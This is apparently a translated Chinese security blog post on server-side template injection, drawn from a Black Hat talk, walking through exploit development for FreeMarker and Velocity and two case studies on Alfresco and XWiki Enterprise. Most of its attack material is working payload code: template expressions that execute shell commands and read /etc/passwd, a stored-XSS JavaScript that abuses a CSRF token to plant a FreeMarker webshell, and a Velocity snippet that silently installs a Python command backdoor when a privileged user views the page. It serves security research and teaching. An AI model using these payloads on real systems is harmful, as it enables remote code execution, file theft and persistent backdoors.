He · 2015/09/02 restraunt

0 x00 preface


Original link: www.blackhat.com/docs/us-15/…

Recently I read this article, which is actually not a new technology, but the two attack cases provided by the author are very good. I saw that someone in DROPS translated this article, but did not translate the attack cases, so I added this part of content. These two cases are for FreeMarker and Velocity respectively, so the process by which the author wrote exploits for these two template engines is also translated.

0 x01 development exploits


Many template engines try to limit the ability of template programs to execute arbitrary code to prevent application-level logic from attacking expression engines. Other templating engines try to safely handle untrusted user input through sandboxes and other means. Under these measures, developing a template back door becomes very challenging.

FreeMarker

FreeMarke is one of the most popular Java templates and one of the most frequently handed to users. FreeMarker’s website explains the dangers of allowing “user-provided” templates:

Translation:

22. Can users be allowed to upload template files? Does this affect security? As a general rule, you should not allow users to do this unless they are administrators or trusted users. Consider that templates are source code files similar to *.java files. If you still want to allow users to upload template files, here’s what you should consider: freemarker.org/docs/app_fa…

After some low-risk security issues like DoS, we can see the following:

Translation:

The built-in new operator (Configuration. SetNewBuiltinClassResolver, Environment. SetNewBuiltinClassResolver) : Use “com.example.someclass” in a template file like this? New (), which is important for FTL libraries, but is not needed in normal template files. FreeMarker includes a TemplateModel interface that can be used to construct any Java object, and the new operator instantiates the TemplateModel implementation class. There are some dangerous TemplateModel implementation classes that might be in the classpath. Even if a class does not implement the TemplateModel interface, a static block of code in that class will be executed. In order to avoid the problem, you can use TemplateClassResolver class to restrict access to classes, as follows: TemplateClassResolver. ALLOWS_NOTHING_RESOLVER

This warning is a little cryptic, but it makes us think that it might be possible to do exp with the built-in new operator. Let’s take a look at the documentation for the new operator:

Translation:

This built-in operator is a security concern because template writers can use it to construct arbitrary Java objects and then use those constructs to process Java objects as long as they implement the TemplateModel interface. The template writer can also trigger code in a static block of code in a class, even if the class does not implement the TemplateModel interface. If you are allowing untrusted users to upload templates, you should take a look at this topic. Freemarker.org/docs/ref_bu…

Are there any classes in TemplateModel’s implementation classes that are useful to us? Let’s take a look at the JavaDoc for this interface:

A class name appears: Execute.

A look at the details of this class shows that it does what we want it to do: take input and execute

Using it is very simple:

<#assign ex="freemarker.template.utility.Execute"? new()> ${ ex("id") } uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)Copy the code

This payload is going to be very useful later on.

Supplement:

After exploring other TemplateModel implementation classes, the ObjectConstructor class is also useful. As the name suggests, this class is used to construct objects of other classes. Look at the code to see how it is used:

Using the ObjectConstructor class, we can construct the desired class. With this we can execute arbitrary Java code. Here are two examples, one executing the command and the other reading from a file.

  • Command execution:

    <#assign ob="freemarker.template.utility.ObjectConstructor"? new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInput Stream())) > <#list 1.. 10000 as t> <#assign line=br.readLine()!" null"> <#if line=="null"> <#break> </#if> ${line} ${"<br>"} </#list>Copy the code
  • File reading:

    <#assign ob="freemarker.template.utility.ObjectConstructor"? new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) > <#list 1.. 10000 as t> <#assign line=br.readLine()!" null"> <#if line=="null"> <#break> </#if> ${line? html} ${"<br>"} </#list>Copy the code

Velocity

Velocity is another popular Java templating framework that is very difficult to exploit. There is no “Safety precautions” page to point out functions and internal variables that are at risk. Here is a screenshot showing the name of a variable with Burp brute force, payload on the left and the return value of the server on the right.

The class variable looks useful because it returns a class Object of class Object. Find the link through Google velocity.apache.org/tools/relea… :

You can see a method and an attribute:

We can combine $class.inspect and $class.type to construct any object. We can then execute any command through runtime.exec (). This idea can be confirmed by the following code, which causes a delay.

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
[5 second time delay]
0
Copy the code

Getting command execution results is a bit tricky:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
tomcat7
Copy the code

Supplement:

This method can only be used with Velocity Tool, not with Velocity Engine.

#set ($exp = "exp")
$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")
Copy the code

0x02 Two cases


Case 1: Alfresco

Alfresco is a CMS system. Low-privileged users can take advantage of a stored XSS vulnerability to obtain webshells using FreeMarker template injection. The FreeMarker backdoor created earlier can be used directly, but I’ve extended it to take the form of a request parameter as a command:

<#assign ex="freemarker.template.utility.Execute"? new()> ${ ex(url.getArgs())}Copy the code

Low-privileged users do not have permission to edit templates, but can install this backdoor using an administrator account by storing XSS. I wrote the following JavaScript code to accomplish this attack:

#! javascript tok = /Alfresco-CSRFToken=([^;] *)/.exec(document.cookie)[1]; tok = decodeURIComponent(tok) do_csrf=new XMLHttpRequest(); do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace /SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false); do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8'); do_csrf.setRequestHeader('Alfresco-CSRFToken',tok); do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt; #assign ex=\\"freemarker.template.utility.Execute\\"? new()> ${ ex(url.getArgs())}","prop_cm_description":""}');Copy the code

The guIDS of templates vary, but can be easily obtained by the “data dictionary” for low-privileged users. And unlike administrators of other applications who control the entire Web server, alfresco system administrators are strictly limited in what they can do.

Case 2: XWiki Enterprise

XWiki Enterprise is a professional wiki application. With the default configuration, anonymous users can register users and embed Velocity template code when editing wiki pages. This makes it an ideal target for template injection. However, the Velocity payload created earlier is not available because $class is not available here.

XWiki says this for Velocity:

Translation:

XWiki sandbox does not require special permission controls by providing secure object access, and by detecting permissions with each API call, operations on unauthorized resources are prohibited. Other scripting languages require the scripting language writer to have permission to execute them, but otherwise access all resources on the server. … Objects cannot be instantiated without permissions, only literals and secure resources provided by the XWiki APIs. XWiki can be safely developed for a large number of applications if it is provided in the right way. … Programming permissions are not required to browse pages containing scripts, only for saving purposes. http://platform.xwiki.org/xwiki/bin/view/DevGuide/Scripting

In other words, XWiki supports not only Velocity, but also sandboxed scripts like Groovy and Python. However, this operation requires Programming permissions. This is a good thing, because it turns lifting into arbitrary code execution. Since we can only use Velocity, we must use the XWiki API.

The $doc class has some more interesting methods, and smart readers may notice a flaw:

The content author of a wiki page is the last user to edit it. The difference between the save method and the saveAsAuthor method is that the save method does not save content as an author, but as the current user visiting the page. In other words, a low-privileged user can create a wiki page, and the script will be executed when the page is viewed, edited and saved by a user with Programming privileges. Let’s inject the following Python backdoor:

#! python from subprocess import check_output q = request.get('q') or 'true' q = q.split(' ') print ''+check_output(q)+''Copy the code

We just need to add some code to get the administrator’s permissions:

innocent content 
#if( $doc.hasAccessLevel("programming") ) 
$doc.setContent(" 
innocent content 
from subprocess import check_output 
q = request.get('q') or 'true' 
q = q.split(' ') 
print ''+check_output(q)+'' 
") 
$doc.save() 
#end
Copy the code

When a page containing such content is viewed by a user with programming privileges, the backdoor is automatically installed. Anyone visiting the page can then execute any command they want:

0 x03 afterword.


The attack idea proposed by the author is very good. I have understood that this template file can be used to execute arbitrary code, but I have not thought deeply about further utilization. The traditional attack idea is to obtain the background administrator permission, and then use the upload vulnerability getShell. However, in fact, the function of background template editing can directly execute any code in many cases. After testing, most applications with the function of template editing have similar problems. It seems that the more thorough understanding of technology in the attack process, the wider the thinking will be.